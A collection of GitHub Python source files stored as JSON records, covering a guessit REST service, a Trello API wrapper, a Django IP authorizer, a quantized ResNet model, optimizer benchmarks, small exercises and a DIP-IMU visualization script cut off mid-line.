{"seq_id":"10799941480","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nimport os\n\nfrom flask import Flask, make_response\nfrom flask_cors import CORS  # pylint:disable=no-name-in-module,import-error\nfrom flask_restful import Api, Resource, reqparse\n\nimport guessit\nfrom guessit.jsonutils import GuessitEncoder\n\ntry:\n    from . import __version__\nexcept ImportError: # pragma: no cover\n    # wsgi module context doesn't support this import\n    about = {}\n\n    here = os.path.abspath(os.path.dirname(__file__))\n    with open(os.path.join(here, '__version__.py'), 'r') as f:\n        exec(f.read(), about)  # pylint:disable=exec-used\n    __version__ = about['__version__']\n\napp = Flask(__name__)\nCORS(app)\napi = Api(app)\napp.debug = os.environ.get('GUESSIT-REST-DEBUG', False)\n\nif not app.debug:\n    handler = RotatingFileHandler('guessit-rest.log', maxBytes=5 * 1024 * 1024, backupCount=5)\n    handler.setLevel(logging.DEBUG)\n    app.logger.addHandler(handler)  # pylint:disable=no-member\n\n\n@api.representation('application/json')\ndef output_json(data, code, headers=None):\n    resp = make_response(json.dumps(data, cls=GuessitEncoder, ensure_ascii=False), code)\n    resp.headers.extend(headers or {})\n    return resp\n\n\nclass GuessIt(Resource):\n    def _impl(self, location):\n        parser = reqparse.RequestParser()\n        parser.add_argument('filename', action='store', required=True, help='Filename to parse', location=location)\n        parser.add_argument('options', action='store', help='Guessit options', location=location)\n        args = parser.parse_args()\n\n        return guessit.guessit(args.filename, args.options)\n\n    def get(self):\n        return self._impl('args')\n\n    def post(self):\n        return self._impl('json')\n\n\nclass GuessItList(Resource):\n    def _impl(self, location):\n        parser = reqparse.RequestParser()\n        parser.add_argument('filename', action='append', required=True, help='Filename to parse', location=location)\n        parser.add_argument('options', action='store', help='Guessit options', location=location)\n        args = parser.parse_args()\n\n        ret = []\n\n        for filename in args.filename:\n            ret.append(guessit.guessit(filename, args.options))\n\n        return ret\n\n    def get(self):\n        return self._impl('args')\n\n    def post(self):\n        return self._impl('json')\n\n\nclass GuessItVersion(Resource):\n    def get(self):\n        return {'guessit': guessit.__version__, 'rest': __version__}\n\n\napi.add_resource(GuessIt, '/')\napi.add_resource(GuessItList, '/list/')\napi.add_resource(GuessItVersion, '/version/')\n","repo_name":"guessit-io/guessit-rest","sub_path":"guessitrest/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"19"}
{"seq_id":"23896184881","text":"\"\"\"This module contains the ipvAuth instance to handle authentications\"\"\"\nimport ipviking_api_python.helpers.constants as ipv_consts\nfrom ipviking_api_python.auth.objects import ipvAuthorizer\n\nAPIKEY = ipv_consts.SANDBOX_APIKEY\nPROXY = ipv_consts.PROXIES['SANDBOX']    \nIPV_AUTH = ipvAuthorizer().configure(apikey = APIKEY, proxy = PROXY)\n\ndef configure(rules = None, responses = None, apikey = None, proxy = None, authview = None, validview = None):\n    try:\n        IPV_AUTH.configure(apikey = apikey, proxy = proxy, rules = rules, responses = responses, authview = authview(), validview = validview)\n    except:\n        global IPV_AUTH\n        IPV_AUTH = ipvAuthorizer()\n        IPV_AUTH.configure(apikey = apikey, proxy = proxy, rules = rules, responses = responses, authview = authview(), validview = validview)\n\ndef validate(request):\n    \"\"\"Runs the IPV_AUTH's validator\"\"\"\n    orig_path = request.path\n    if request.session.get('ipviking'):\n        return None\n    else:\n        ip = request.get_host().split(':')[0]\n        if ip == '127.0.0.1':\n            ip = '208.74.76.5'\n        valid, request, level, context = IPV_AUTH.validate_request(request, ip)\n        if valid:\n            #if it's valid, we'll return the validview (redirect to request.path)\n            request.session['ipviking'] = level\n            return IPV_AUTH.validview(request, orig_path)\n        else:\n            #We've got something to do here. Call the IPV_AUTH.authview's get.\n            response = IPV_AUTH.authview.get(request, context)\n            return response\n        \n","repo_name":"norsecorp/ipviking-django","sub_path":"ipviking_django/ipviking_django/authorizer.py","file_name":"authorizer.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"3009642294","text":"import abc\nimport requests\nimport json\n\n\nclass Get:\n\n    @abc.abstractmethod\n    def __init__(self):\n        raise NotImplementedError\n\n    def get_card(self, card_id, fields=\"all\", actions=False, attachments=False, attachment_fields=\"all\", members=False,\n                 member_fields=\"all\", members_voted=False, member_voted_fields=\"all\", check_item_states=False,\n                 checklists=\"none\", checklist_fields=\"all\", board=False,\n                 board_fields=\"name,desc,descData,closed,idOrganization,pinned,url,prefs\", card_list=False,\n                 plugin_data=False, stickers=False, sticker_fields=\"all\", custom_field_items=False):\n        \"\"\"\n        Get a card by its ID.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the card object.\n                                    Valid values: \"all\", \"badges\", \"checkItemStates\", \"closed\", \"dateLastActivity\",\n                                                  \"desc\", \"descData\", \"due\", \"start\", \"email\", \"idBoard\", \"idChecklists\",\n                                                  \"idLabels\", \"idList\", \"idMembers\", \"idShort\", \"idAttachmentCover\",\n                                                  \"manualCoverAttachment\", \"labels\", \"name\", \"pos\", \"shortUrl\", \"url\".\n                                    Default: \"all\".\n            actions (bool, optional): Whether to return the actions nested resource. Default: False.\n            attachments (bool or str, optional): Whether to return attachments. Valid values: True, False, \"cover\".\n                                                 Default: False.\n            attachment_fields (str, optional): Specifies the attachment fields to include in the response.\n                                               Valid values: \"all\", \"id\", \"bytes\", \"date\", \"edgeColor\", \"idMember\",\n                                                             \"isUpload\", \"mimeType\", \"name\", \"pos\", \"previews\", \"url\".\n                                               Default: \"all\".\n            members (bool, optional): Whether to return member objects for members on the card. Default: False.\n            member_fields (str, optional): Specifies the member fields to include in the response.\n                                           Valid values: \"all\", \"avatarHash\", \"fullName\", \"initials\", \"username\".\n                                           Default: \"all\".\n            members_voted (bool, optional): Whether to return member objects for members who voted on the card. Default: False.\n            member_voted_fields (str, optional): Specifies the member fields to include in the response for members who voted.\n                                                 Valid values: \"all\", \"avatarHash\", \"fullName\", \"initials\", \"username\".\n                                                 Default: \"all\".\n            check_item_states (bool, optional): Whether to return checkItemStates. Default: False.\n            checklists (str, optional): Whether to return the checklists on the card. Valid values: \"all\", \"none\". Default: \"none\".\n            checklist_fields (str, optional): Specifies the checklist fields to include in the response.\n                                              Valid values: \"all\", \"idBoard\", \"idCard\", \"name\", \"pos\".\n                                              Default: \"all\".\n            board (bool, optional): Whether to return the board object the card is on. Default: False.\n            board_fields (str, optional): Specifies the board fields to include in the response.\n                                          Valid values: \"all\", \"name\", \"desc\", \"descData\", \"closed\", \"idOrganization\",\n                                                        \"pinned\", \"url\", \"prefs\".\n                                          Default: \"name,desc,descData,closed,idOrganization,pinned,url,prefs\".\n            card_list (bool, optional): Whether to return the list object the card is in. Default: False.\n            plugin_data (bool, optional): Whether to include pluginData on the card with the response. Default: False.\n            stickers (bool, optional): Whether to include sticker models with the response. Default: False.\n            sticker_fields (str, optional): Specifies the sticker fields to include in the response.\n                                            Valid values: \"all\", \"id\", \"idAttachment\", \"image\", \"left\", \"rotate\", \"top\", \"zIndex\".\n                                            Default: \"all\".\n            custom_field_items (bool, optional): Whether to include the customFieldItems. Default: False.\n\n        Returns:\n            dict: The card object.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}\"\n\n        query = {\n            'key': self.api_key,\n            'token': self.token,\n            'fields': fields,\n            'actions': actions,\n            'attachments': attachments,\n            'attachment_fields': attachment_fields,\n            'members': members,\n            'member_fields': member_fields,\n            'membersVoted': members_voted,\n            'memberVoted_fields': member_voted_fields,\n            'checkItemStates': check_item_states,\n            'checklists': checklists,\n            'checklist_fields': checklist_fields,\n            'board': board,\n            'board_fields': board_fields,\n            'list': card_list,\n            'pluginData': plugin_data,\n            'stickers': stickers,\n            'sticker_fields': sticker_fields,\n            'customFieldItems': custom_field_items\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_field(self, card_id, field):\n        \"\"\"\n        Get a specific property of a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            field (str): The desired field to retrieve.\n\n        Returns:\n            dict: The value of the specified field.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/{field}\"\n\n        query = {\n            'key': self.api_key,\n            'token': self.token,\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code == 200:\n            return response.json()\n        else:\n            raise Exception(response.content)\n\n\n    def get_actions(self, card_id, filter_types=None, page=0):\n        \"\"\"\n        Get the actions associated with a card by its ID.\n\n        Args:\n            card_id (str): The ID of the card.\n            filter_types (str, optional): A comma-separated list of action types to filter.\n                                          Default: None.\n            page (int, optional): The page number of results. Each page has 50 actions.\n                                  Default: 0.\n\n        Returns:\n            dict: The actions associated with the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/actions\"\n\n        query = {\n            'filter': filter_types,\n            'page': page,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_attachments(self, card_id, fields=\"all\", filter_cover=False):\n        \"\"\"\n        Get the attachments associated with a card by its ID.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the attachment object.\n                                    Valid values: \"all\" or a comma-separated list of attachment fields.\n                                    Default: \"all\".\n            filter_cover (bool, optional): Use True to restrict the results to just the cover attachment.\n                                           Default: False.\n\n        Returns:\n            dict: The attachments associated with the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/attachments\"\n\n        query = {\n            'fields': fields,\n            'filter': 'cover' if filter_cover else 'false',\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_attachment(self, card_id, attachment_id, fields=None):\n        \"\"\"\n        Get a specific attachment on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            attachment_id (str): The ID of the attachment.\n            fields (list of str, optional): The attachment fields to be included in the response.\n                                            Default: None.\n\n        Returns:\n            dict: The specific attachment on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/attachments/{attachment_id}\"\n\n        query = {\n            'fields': ','.join(fields) if fields else None,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_board(self, card_id, fields=\"all\"):\n        \"\"\"\n        Get the board a card is on.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the board object.\n                                    Valid values: \"all\" or a comma-separated list of board fields.\n                                    Default: \"all\".\n\n        Returns:\n            dict: The board the card is on.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/board\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_completed_checklist_items(self, card_id, fields=\"all\"):\n        \"\"\"\n        Get the completed checklist items on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the checkItemStates object.\n                                    Valid values: \"all\" or a comma-separated list of: idCheckItem, state.\n                                    Default: \"all\".\n\n        Returns:\n            dict: The completed checklist items on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/checkItemStates\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_checklists(self, card_id, checkItems=\"all\",\n                            checkItem_fields=\"name,nameData,pos,state,due,dueReminder,idMember\",\n                            filter=\"all\", fields=\"all\"):\n        \"\"\"\n        Get the checklists on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            checkItems (str, optional): Specifies whether to include check items or not.\n                                        Valid values: \"all\", \"none\".\n                                        Default: \"all\".\n            checkItem_fields (str, optional): Specifies the check item fields to include in the response.\n                                              Valid values: \"name\", \"nameData\", \"pos\", \"state\", \"type\", \"due\",\n                                                            \"dueReminder\", \"idMember\".\n                                              Default: \"name,nameData,pos,state,due,dueReminder,idMember\".\n            filter (str, optional): Specifies whether to include archived checklists or not.\n                                    Valid values: \"all\", \"none\".\n                                    Default: \"all\".\n            fields (str, optional): Specifies the fields to include in the checklist object.\n                                    Valid values: \"all\", \"name\", \"nameData\", \"pos\".\n                                    Default: \"all\".\n\n        Returns:\n            list: The checklists on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/checklists\"\n\n        query = {\n            'checkItems': checkItems,\n            'checkItem_fields': checkItem_fields,\n            'filter': filter,\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_check_item(self, card_id, check_item_id,\n                            fields=\"name,nameData,pos,state,type,due,dueReminder,idMember\"):\n        \"\"\"\n        Get a specific checkItem on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            check_item_id (str): The ID of the checkItem.\n            fields (str, optional): Specifies the checkItem fields to include in the response.\n                                    Valid values: \"all\" or a comma-separated list of: name, nameData, pos,\n                                    state, type, due, dueReminder, idMember.\n                                    Default: \"name,nameData,pos,state,due,dueReminder,idMember\".\n\n        Returns:\n            dict: The specific checkItem on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/checkItem/{check_item_id}\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_list(self, card_id, fields=\"all\"):\n        \"\"\"\n        Get the list a card is in.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the list object.\n                                    Valid values: \"all\", \"id\", \"name\", \"closed\", \"pos\", \"subscribed\".\n                                    Default: \"all\".\n\n        Returns:\n            dict: The list the card is in.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/list\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_members(self, card_id, fields=\"avatarHash,fullName,initials,username\"):\n        \"\"\"\n        Get the members on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the member object.\n                                    Valid values: \"all\", \"avatarHash\", \"fullName\", \"initials\", \"username\".\n                                    Default: \"avatarHash,fullName,initials,username\".\n\n        Returns:\n            dict: The members on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/members\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_members_voted(self, card_id, fields=\"avatarHash,fullName,initials,username\"):\n        \"\"\"\n        Get the members who have voted on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n            fields (str, optional): Specifies the fields to include in the member object.\n                                    Valid values: \"all\", \"avatarHash\", \"fullName\", \"initials\", \"username\".\n                                    Default: \"avatarHash,fullName,initials,username\".\n\n        Returns:\n            dict: The members who have voted on the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/membersVoted\"\n\n        query = {\n            'fields': fields,\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n    def get_card_plugin_data(self, card_id):\n        \"\"\"\n        Get any shared pluginData on a card.\n\n        Args:\n            card_id (str): The ID of the card.\n\n        Returns:\n            dict: The pluginData associated with the card.\n\n        Raises:\n            Exception: If the response status code is not 200.\n        \"\"\"\n\n        url = f\"https://api.trello.com/1/cards/{card_id}/pluginData\"\n\n        query = {\n            'key': self.api_key,\n            'token': self.token\n        }\n\n        response = requests.get(url, params=query)\n\n        if response.status_code != 200:\n            raise Exception(response.content)\n\n        return response.json()\n\n","repo_name":"Rtsil/Trello-Wrapper","sub_path":"build/lib/Trello_Wrapper/cards/_get.py","file_name":"_get.py","file_ext":"py","file_size_in_byte":18611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15730883640","text":"# solman is better, mine lazily / hurriedly just mutates/overwrites. \n\n\ndef pmf(frequency):\n    \"\"\"Returns a dictionary containing the probability mass function of the\n    frequency dictionary. I.e. Each frequency value divided by the total number\n    of items in the data set.\"\"\"\n    pmf = {}\n    freq_values = list(frequency.values())\n    sum_freqs = sum(freq_values)\n    for key, value in frequency.items():\n        frequency[key] = value / sum_freqs\n    return frequency\n\ndef sol_man(frequency):\n    total = 0\n    for key in frequency:\n        total = total + frequency[key]\n    pmf_dict = {}\n    for key in frequency:\n        pmf_dict[key] = frequency[key] / total\n    return pmf_dict\n\ndef get_frequency(data):\n    frequency = {}\n\n    for item in data:\n        if item in frequency: # item is alredy a key in frequency, i.e. already encountered that value once in iterating through the list\n            frequency[item] += 1 # tally the item\n        else:\n            frequency[item] = 1\n    return frequency\n\ndata = [18.9, 19.1, 18.9, 19.0, 19.3, 19.2, 19.3]\nfrequency = get_frequency(data)\nprint(frequency)\nprint(sol_man(frequency))\nprint('---')\nprint(pmf(frequency))\n","repo_name":"B-T-D/DCS_work_backup","sub_path":"CH8_data_analysis/exercises_8_3/_3_pmf.py","file_name":"_3_pmf.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"34122731151","text":"def DFS(graph, j, S, F, C, K, collected):\r\n    print('collected',collected)\r\n    print('klid mojud',S)\r\n    print('klid haghighi',F)\r\n    print('klid tahvil dade',K)\r\n    print('rang establ',C)\r\n    print(j)\r\n    print('\\n')\r\n    global possible\r\n    global all_key\r\n    if sum(collected) == sum(F):\r\n        all_key = 1\r\n    if S[j-1] != None:\r\n        collected.append(S[j-1])\r\n        S[j-1] = None\r\n\r\n    temp = 0\r\n    for i in graph[j]:\r\n        if C[i-1] in collected and S[i-1] != None :\r\n            temp += 1\r\n            DFS(graph, i, S, F, C, K, collected)\r\n        elif C[i-1] in collected and all_key == 1 and K[i-1] == 0 :\r\n            temp += 1\r\n            DFS(graph, i, S, F, C, K, collected)\r\n\r\n    print(\"ddddd\")\r\n    if all_key == 1 :\r\n        if F[j-1] in collected and K[j-1] == 0:\r\n            print(j-1)\r\n            print(F[j-1])\r\n            K[j-1] = F[j-1]\r\n            collected.remove(F[j-1])\r\n    if K == F:\r\n        possible = 1\r\n        return\r\n    if temp == 0 and 1 in graph[j]:\r\n        DFS(graph, 1, S, F, C, K, collected)\r\n\r\nT = int(input())\r\n\r\nfor i in range(T):\r\n    input()\r\n    graph = dict()\r\n    M, N = [int(x) for x in input().split()]\r\n    C = [int(x) for x in input().split()]\r\n    S = [int(x) for x in input().split()]\r\n    F = [int(x) for x in input().split()]\r\n    for j in range(M):\r\n        graph[j+1] = []\r\n    for j in range(N):\r\n        ui, vi = [int(x) for x in input().split()]\r\n        graph[ui] += [vi]\r\n        graph[vi] += [ui]\r\n    possible = 0\r\n    all_key = 0\r\n    collected = []\r\n    K = [0]*N\r\n    DFS(graph, 1, S, F, C, K, collected)\r\n    # print(graph[1])\r\n    \r\n    if possible == 1:\r\n        print('YES')\r\n    else:\r\n        print(\"NO\")\r\n\r\n","repo_name":"FatemehNaeinian/Data-Structure","sub_path":"ca4/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"44858738873","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torch\nfrom custom_modules import *\n\n#https://github.com/XHPlus/IR-Net/blob/master/resnet-20-cifar10/1w1a/resnet.py\n#https://github.com/akamaster/pytorch_resnet_cifar10/blob/master/resnet.py\n\n__all__ = ['resnet20_quant', 'resnet20_fp']\n\nclass LambdaLayer(nn.Module):\n    def __init__(self, lambd):\n        super(LambdaLayer, self).__init__()\n        self.lambd = lambd\n\n    def forward(self, x):\n        return self.lambd(x)\n\ndef _weights_init(m):\n    classname = m.__class__.__name__\n    # print(classname)\n    if isinstance(m, nn.Linear) or isinstance(m, nn.Conv2d) or isinstance(m, QConv):\n        nn.init.kaiming_normal_(m.weight)\n\nclass BasicBlock(nn.Module):\n    expansion = 1\n    def __init__(self, in_planes, planes, args, stride=1, option='A'):\n        super(BasicBlock, self).__init__()\n        self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n        self.bn1 = nn.BatchNorm2d(planes)\n        self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False)\n        self.bn2 = nn.BatchNorm2d(planes)\n\n        self.shortcut = nn.Sequential()\n        if stride != 1 or in_planes != planes:\n            if option == 'A':\n                \"\"\"\n                For CIFAR10 ResNet paper uses option A.\n                \"\"\"\n                self.shortcut = LambdaLayer(lambda x:\n                                            F.pad(x[:, :, ::2, ::2], (0, 0, 0, 0, planes//4, planes//4), \"constant\", 0))\n            elif option == 'B':\n                self.shortcut = nn.Sequential(\n                     nn.Conv2d(in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False),\n                     nn.BatchNorm2d(self.expansion * planes)\n                )\n\n    def forward(self, x):\n        out = F.relu(self.bn1(self.conv1(x)))\n        out = self.bn2(self.conv2(out))\n        out += self.shortcut(x)\n        out = F.relu(out)\n        return out\n\nclass QBasicBlock(nn.Module):\n    expansion = 1\n    def __init__(self, in_planes, planes, args, stride=1, option='A'):\n        super(QBasicBlock, self).__init__()\n        self.conv1 = QConv(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False, args=args)\n        self.bn1 = nn.BatchNorm2d(planes)\n        self.conv2 = QConv(planes, planes, kernel_size=3, stride=1, padding=1, bias=False, args=args)\n        self.bn2 = nn.BatchNorm2d(planes)\n\n        self.shortcut = nn.Sequential()\n        if stride != 1 or in_planes != planes:\n            if option == 'A':\n                \"\"\"\n                For CIFAR10 ResNet paper uses option A.\n                \"\"\"\n                self.shortcut = LambdaLayer(lambda x:\n                                            F.pad(x[:, :, ::2, ::2], (0, 0, 0, 0, planes//4, planes//4), \"constant\", 0))\n            elif option == 'B':\n                self.shortcut = nn.Sequential(\n                     QConv(in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False, args=args),\n                     nn.BatchNorm2d(self.expansion * planes)\n                )\n\n    def forward(self, x):\n        # Note: We do not use the Bi-real structure.\n        out = F.relu(self.bn1(self.conv1(x)))\n        out = self.bn2(self.conv2(out)) \n        out += self.shortcut(x)\n        out = F.relu(out)\n        return out\n\n\nclass ResNet(nn.Module):\n    def __init__(self, block, num_blocks, args, num_classes=10):\n        super(ResNet, self).__init__()\n        self.args = args\n        num_classes = args.num_classes\n        \n        self.in_planes = 16\n\n        self.conv1 = nn.Conv2d(3, 16, kernel_size=3, stride=1, padding=1, bias=False)\n        self.bn1 = nn.BatchNorm2d(16)\n        self.layer1 = self._make_layer(block, 16, num_blocks[0], stride=1)\n        self.layer2 = self._make_layer(block, 32, num_blocks[1], stride=2)\n        self.layer3 = self._make_layer(block, 64, num_blocks[2], stride=2)\n        self.bn2 = nn.BatchNorm1d(64)\n        self.linear = nn.Linear(64, num_classes)\n\n        self.apply(_weights_init)\n\n    def _make_layer(self, block, planes, num_blocks, stride):\n        strides = [stride] + [1]*(num_blocks-1)\n        layers = []\n        for stride in strides:\n            layers.append(block(self.in_planes, planes, self.args, stride))\n            self.in_planes = planes * block.expansion\n\n        return nn.Sequential(*layers)\n\n    def forward(self, x):\n        out = F.relu(self.bn1(self.conv1(x)))\n        out = self.layer1(out)\n        out = self.layer2(out)\n        out = self.layer3(out)\n        out = F.avg_pool2d(out, out.size()[3])\n        out = out.view(out.size(0), -1)\n        out = self.bn2(out)\n        out = self.linear(out)\n        return out\n\ndef resnet20_fp(args):\n    return ResNet(BasicBlock, [3, 3, 3], args)\n\ndef resnet20_quant(args):\n    return ResNet(QBasicBlock, [3, 3, 3], args)","repo_name":"cvlab-yonsei/EWGS","sub_path":"CIFAR10/custom_models.py","file_name":"custom_models.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"19"}
{"seq_id":"14823430895","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May  7 15:57:14 2022\n\n@author: asus\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport function_ISSA as fun\nimport matplotlib.pyplot as plt\n\ndef main(Function_name): # 传入选择的基准测试函数\n    SearchAgents_no=100 # 种群数量\n    Max_iteration=50 # 最大迭代次数\n    [lb,ub,dim]=fun.Parameters(Function_name) # 获取搜索区域范围lb~ub，搜索维度\n    [fMin,bestX,SSA_curve]=fun.ISSA(SearchAgents_no,Max_iteration,lb,ub,dim,Function_name)\n    \n    # print(['最优值为：',fMin])\n    # print(['最优变量为：',bestX])\n    # thr1=np.arange(len(SSA_curve[0,:]))\n    \n    # plt.plot(thr1, SSA_curve[0,:])\n    \n    # plt.xlabel('num')\n    # plt.ylabel('object value')\n    # plt.title('line')\n    # plt.show()\n    return fMin\n    \nif __name__=='__main__':\n    # main('F8')\n    result=[]\n    # 独立运行30次并保存结果至csv\n    functions=['F1','F2','F3','F4','F5','F6','F7','F8','F9']\n    for fun_name in functions:\n        temp=[]\n        for _ in range(30):\n            temp.append(main(fun_name))\n        rmin=np.min(temp)\n        rmean=np.mean(temp)\n        rstd=np.std(temp)\n        result.append([rmin,rmean,rstd])\n\n    result1=pd.DataFrame(data=result,columns=['Min','Mean','Std'],index=functions)\n    result1.to_csv(r'C:\\Users\\asus\\Desktop\\研一下课程\\算法导论\\第14-15周-综合实验报告\\result_ISSA.csv', encoding='utf-8')\n    print('Done!')\n","repo_name":"Ninnaneve/ISSA_Python","sub_path":"test_ISSA.py","file_name":"test_ISSA.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29661635148","text":"import pickle as pkl\n\nimport torch\n\nfrom aitviewer.configuration import CONFIG as C\nfrom aitviewer.models.smpl import SMPLLayer\nfrom aitviewer.renderables.rigid_bodies import RigidBodies\nfrom aitviewer.renderables.smpl import SMPLSequence\nfrom aitviewer.viewer import Viewer\n\nif __name__ == \"__main__\":\n    # This is loading the DIP-IMU data that can be downloaded from the DIP project website here:\n    # https://dip.is.tue.mpg.de/download.php\n    # Download the \"DIP IMU and others\" and point the following path to one of the extracted pickle files.\n    with open(r\"C:\\Users\\manuel\\Downloads\\DIPIMUandOthers\\DIP_IMU_and_Others\\DIP_IMU\\DIP_IMU\\s_02\\04.pkl\", \"rb\") as f:\n        data = pkl.load(f, encoding=\"latin1\")\n\n    # Whether we want to visualize all 17 sensors or just the 6 sensors used by DIP.\n    all_sensors = True\n\n    # Get the data.\n    oris = data[\"imu_ori\"]\n    poses = data[\"gt\"]\n\n    # Subject 6 is female, all others are male (cf. metadata.txt included in the downloaded zip file).\n    gender = \"male\"\n\n    # Downsample to 30 Hz.\n    poses = poses[::2]\n    oris = oris[::2]\n\n    # DIP has no shape information, assume the mean shape.\n    betas = torch.zeros((poses.shape[0], 10)).float().to(C.device)\n    smpl_layer = SMPLLayer(model_type=\"smpl\", gender=gender, device=C.device)\n\n    # We need to anchor the IMU orientations somewhere in order to display them.\n    # We can do this at the joint locations, so perform one forward pass.\n    _, joints = smpl_layer(\n        poses_body=torch.from_numpy(poses[:, 3:]).float().to(C.device),\n        poses_root=torch.from_numpy(poses[:, :3]).float().to(C.device),\n        betas=betas,\n    )\n\n    # This is the sensor placement (cf. https://github.com/eth-ait/dip18/issues/16).\n    sensor_placement = [\n        \"head\",\n        \"sternum\",\n        \"pelvis\",\n        \"lshoulder\",\n        \"rshoulder\",\n        \"lupperarm\",\n        \"rupperarm\",\n        \"llowerarm\",\n        \"rlowerarm\",\n        \"lupperleg\",\n        \"rupperleg\",\n        \"llowerleg\",\n        \"rlowerleg\",\n        \"lhand\",\n        \"rhand\",\n        \"lfoot\",\n        \"rfoot\",\n    ]\n\n    # We manually choose the SMPL joint indices cooresponding to the above sensor placement.\n    joint_idxs = [15, 12, 0, 13, 14, 16, 17, 20, 21, 1, 2, 4, 5, 22, 23, 10, 11]\n\n    # Select only the 6 input sensors if configured.\n    sensor_sub_idxs = [7, 8, 11, 12, 0, 2] if not all_sensors else 